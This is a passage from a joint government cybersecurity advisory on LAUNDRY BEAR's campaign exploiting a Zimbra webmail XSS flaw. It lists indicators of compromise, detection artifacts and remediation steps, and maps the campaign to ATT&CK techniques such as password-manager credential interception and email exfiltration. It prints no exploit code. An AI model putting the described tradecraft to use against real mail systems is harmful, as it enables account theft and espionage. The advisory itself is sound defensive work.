<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
